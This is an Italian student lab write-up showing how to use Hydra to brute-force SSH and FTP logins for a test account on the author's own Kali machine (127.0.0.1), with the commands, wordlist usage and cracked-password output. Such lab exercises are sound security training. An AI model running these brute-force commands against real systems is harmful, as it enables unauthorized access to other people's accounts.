S6L4

L'esercizio di oggi consiste nella configurazione del tool "Hydra" per poter craccare le password di un secondo utente di Kali tramite un attacco ssh e un attacco ftp.

Dopo aver creato il secondo utente con il comando "adduser test-user" per creare il nuovo utente "test_user" e aver impostato la password "testpass" si può procedere ad esguire il comando mostrato in foto (tecnicamente prima bisognerebbe installare i servizi SSH, ma li avevo già installati sulla macchina in precedenza).


```
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -L usernames.txt -P passwords.txt 127.0.0.1 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no
n-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:13:22
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 09:13:42
```

Per eseguire gli attacchi ftp bisogna installare i servizi ftp come mostrato nell'immagine.


```
┌──(kali㉿kali)-[~]
└─$ sudo apt-get  install vsftpd
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1525 not upgraded.
Need to get 143 kB of archives.
After this operation, 353 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b3 [143 kB]
Fetched 143 kB in 0s (400 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 431206 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b3_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b3) ...
Setting up vsftpd (3.0.3-13+b3) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.12.0-3) ...
Processing triggers for kali-menu (2023.4.6) ...
```

Ed eseguire il comando svolto in precedenza, ma impostato per i servizi ftp.


```
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -L usernames.txt -P passwords.txt 127.0.0.1 -t 4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:45:24
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 09:45:46
```

Da notare come i comandi sono stati eseguiti dal Desktop poiché i file "usernames.txt" e "passwords.txt" si trovavano nel Desktop. In alternativa sarei dovuto uscire per poi inserire il path dei singoli documenti.